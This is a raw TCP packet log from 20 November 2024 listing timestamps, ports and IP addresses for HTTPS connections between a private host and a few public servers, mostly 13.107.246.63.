Nov 20, 2024 16:51:40.312756062 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.312762022 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.312809944 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.312819004 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.327019930 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.327064991 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.327092886 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.327097893 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.327125072 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.327142954 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.343048096 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.343094110 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.343126059 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.343130112 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.343158960 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.343178034 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.359016895 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.359066010 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.359102011 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.359107018 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.359132051 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.359150887 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.365294933 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.365367889 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.365374088 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.365417957 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.365449905 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.365456104 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.365470886 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.365502119 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.365547895 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.365557909 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.406656981 CET	49845	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.406685114 CET	49844	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.406734943 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.406758070 CET	443	49845	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.406827927 CET	49844	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.406864882 CET	49845	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.407021046 CET	49844	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.407037020 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.407109976 CET	49845	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.407169104 CET	443	49845	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.408250093 CET	49846	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.408260107 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.408313990 CET	49846	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.408413887 CET	49846	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.408420086 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.409398079 CET	49847	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.409447908 CET	443	49847	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.409503937 CET	49847	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.409961939 CET	49848	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.410006046 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.410058975 CET	49848	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.410060883 CET	49847	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.410093069 CET	443	49847	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.410128117 CET	49848	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.410142899 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.260756969 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.261328936 CET	49846	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.261348009 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.261815071 CET	49846	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.261821032 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.316061020 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.316556931 CET	49844	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.316567898 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.316924095 CET	49844	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.316929102 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.331573009 CET	443	49845	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.332000017 CET	49845	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.332020044 CET	443	49845	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.332303047 CET	49845	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.332309008 CET	443	49845	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.337496996 CET	443	49847	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.337791920 CET	49847	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.337800980 CET	443	49847	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.338550091 CET	49847	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.338556051 CET	443	49847	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.383337975 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.383754015 CET	49848	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.383771896 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.384262085 CET	49848	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.384268045 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.701953888 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.701987028 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.702055931 CET	49846	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.702090025 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.702135086 CET	49846	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.702294111 CET	49846	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.702300072 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.702317953 CET	49846	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.702553034 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.702600956 CET	443	49846	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.702651024 CET	49846	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.704992056 CET	49849	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.705041885 CET	443	49849	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.705108881 CET	49849	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.705243111 CET	49849	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.705256939 CET	443	49849	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.772538900 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.772572994 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.772708893 CET	49844	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.772742033 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.772799969 CET	49844	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.772974014 CET	49844	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.772979975 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.773000002 CET	49844	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.773209095 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.773253918 CET	443	49844	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.773299932 CET	49844	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.775697947 CET	49850	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.775746107 CET	443	49850	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.775818110 CET	49850	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.776016951 CET	49850	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.776031971 CET	443	49850	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.781058073 CET	443	49845	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.781239033 CET	443	49845	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.781299114 CET	49845	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.781347036 CET	49845	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.781347036 CET	49845	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.781373024 CET	443	49845	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.781392097 CET	443	49845	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.783341885 CET	49851	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.783377886 CET	443	49851	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.783452034 CET	49851	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.783579111 CET	49851	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.783596039 CET	443	49851	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.786900997 CET	443	49847	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.786974907 CET	443	49847	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.787026882 CET	49847	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.787081003 CET	49847	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.787102938 CET	443	49847	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.787121058 CET	49847	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.787131071 CET	443	49847	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.788928032 CET	49852	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.789025068 CET	443	49852	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.789113045 CET	49852	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.789239883 CET	49852	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.789274931 CET	443	49852	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.841312885 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.841336012 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.841399908 CET	49848	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.841427088 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.841634989 CET	49848	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.841650009 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.841659069 CET	49848	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.841814995 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.841851950 CET	443	49848	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.841900110 CET	49848	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.843878031 CET	49853	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.843919992 CET	443	49853	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:42.843983889 CET	49853	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.844103098 CET	49853	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:42.844115019 CET	443	49853	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.339405060 CET	49793	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:51:44.339433908 CET	443	49793	162.159.61.3	192.168.2.9
Nov 20, 2024 16:51:44.339451075 CET	49792	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:51:44.339483023 CET	443	49792	162.159.61.3	192.168.2.9
Nov 20, 2024 16:51:44.498459101 CET	443	49849	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.499126911 CET	49849	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.499149084 CET	443	49849	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.499497890 CET	49849	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.499504089 CET	443	49849	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.530875921 CET	443	49850	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.531414032 CET	49850	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.531455994 CET	443	49850	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.531799078 CET	49850	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.531810045 CET	443	49850	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.633157969 CET	443	49853	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.633984089 CET	49853	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.634001017 CET	443	49853	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.634322882 CET	49853	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.634327888 CET	443	49853	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.658056974 CET	443	49851	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.658632994 CET	49851	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.658651114 CET	443	49851	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.658946991 CET	49851	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.658951044 CET	443	49851	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.674458027 CET	443	49852	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.674719095 CET	49852	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.674740076 CET	443	49852	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.675039053 CET	49852	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.675043106 CET	443	49852	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.943697929 CET	443	49849	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.943768024 CET	443	49849	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.947671890 CET	49849	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.950208902 CET	49849	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.950233936 CET	443	49849	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.950247049 CET	49849	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.950253963 CET	443	49849	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.953423023 CET	49855	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.953455925 CET	443	49855	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.953624964 CET	49855	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.953687906 CET	49855	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.953701019 CET	443	49855	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.964955091 CET	443	49850	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.965049028 CET	443	49850	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.965096951 CET	49850	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.965198994 CET	49850	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.965215921 CET	443	49850	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.965225935 CET	49850	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.965233088 CET	443	49850	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.971762896 CET	49856	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.971796989 CET	443	49856	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:44.971924067 CET	49856	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.972011089 CET	49856	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:44.972033024 CET	443	49856	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.089154959 CET	443	49853	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.089225054 CET	443	49853	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.091766119 CET	49853	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.091766119 CET	49853	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.092400074 CET	49853	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.092417002 CET	443	49853	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.094352007 CET	49857	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.094383001 CET	443	49857	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.094481945 CET	49857	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.094621897 CET	49857	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.094636917 CET	443	49857	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.111166954 CET	443	49851	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.111222982 CET	443	49851	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.113662004 CET	49851	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.113686085 CET	49851	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.113698006 CET	443	49851	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.113713026 CET	49851	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.113718033 CET	443	49851	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.115662098 CET	49858	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.115696907 CET	443	49858	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.115811110 CET	49858	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.115869045 CET	49858	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.115886927 CET	443	49858	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.130220890 CET	443	49852	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.130295038 CET	443	49852	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.130333900 CET	49852	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.130403042 CET	49852	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.130410910 CET	443	49852	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.130438089 CET	49852	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.130443096 CET	443	49852	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.132270098 CET	49859	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.132283926 CET	443	49859	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:45.132342100 CET	49859	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.132462978 CET	49859	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:45.132472038 CET	443	49859	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.834361076 CET	443	49858	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.834821939 CET	49858	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:46.834841013 CET	443	49858	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.835279942 CET	49858	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:46.835285902 CET	443	49858	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.849524975 CET	443	49855	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.849951982 CET	49855	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:46.849963903 CET	443	49855	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.850076914 CET	443	49856	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.850393057 CET	49855	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:46.850399971 CET	443	49855	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.850482941 CET	49856	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:46.850495100 CET	443	49856	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.850980997 CET	49856	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:46.850986004 CET	443	49856	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.944334030 CET	443	49857	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.945130110 CET	49857	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:46.945162058 CET	443	49857	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.945671082 CET	49857	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:46.945677042 CET	443	49857	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.983989000 CET	443	49859	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.984469891 CET	49859	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:46.984517097 CET	443	49859	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:46.985002041 CET	49859	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:46.985009909 CET	443	49859	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.056776047 CET	49824	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:47.056782007 CET	49823	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:47.056793928 CET	443	49824	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:47.056803942 CET	443	49823	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:47.268223047 CET	443	49858	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.268309116 CET	443	49858	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.268368006 CET	49858	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.268549919 CET	49858	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.268572092 CET	443	49858	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.268598080 CET	49858	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.268604040 CET	443	49858	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.271672010 CET	49860	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.271725893 CET	443	49860	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.271800995 CET	49860	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.271935940 CET	49860	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.271953106 CET	443	49860	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.306938887 CET	443	49855	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.307121992 CET	443	49855	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.307169914 CET	49855	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.307399035 CET	49855	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.307418108 CET	443	49855	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.307429075 CET	49855	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.307435036 CET	443	49855	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.307657003 CET	443	49856	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.307745934 CET	443	49856	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.307789087 CET	49856	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.309235096 CET	49856	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.309246063 CET	443	49856	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.309257984 CET	49856	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.309262037 CET	443	49856	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.311646938 CET	49861	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.311682940 CET	443	49861	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.311700106 CET	49862	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.311716080 CET	443	49862	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.311763048 CET	49861	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.311784029 CET	49862	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.311965942 CET	49862	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.311978102 CET	443	49862	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.312016964 CET	49861	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.312031984 CET	443	49861	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.404889107 CET	443	49857	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.404951096 CET	443	49857	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.405080080 CET	49857	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.405306101 CET	49857	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.405327082 CET	443	49857	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.405339003 CET	49857	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.405344963 CET	443	49857	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.408210039 CET	49863	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.408253908 CET	443	49863	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.408315897 CET	49863	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.408477068 CET	49863	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.408492088 CET	443	49863	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.454993963 CET	443	49859	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.455079079 CET	443	49859	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.455234051 CET	49859	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.455261946 CET	49859	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.455271006 CET	443	49859	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.455295086 CET	49859	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.455300093 CET	443	49859	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.457822084 CET	49864	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.457921982 CET	443	49864	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:47.458004951 CET	49864	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.458126068 CET	49864	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:47.458162069 CET	443	49864	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:49.019850969 CET	443	49860	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:49.020385027 CET	49860	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:49.020395994 CET	443	49860	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:49.020834923 CET	49860	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:49.020838976 CET	443	49860	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:49.057053089 CET	443	49861	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:49.057517052 CET	49861	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:49.057548046 CET	443	49861	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:49.057816029 CET	49861	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:49.057826996 CET	443	49861	13.107.246.63	192.168.2.9
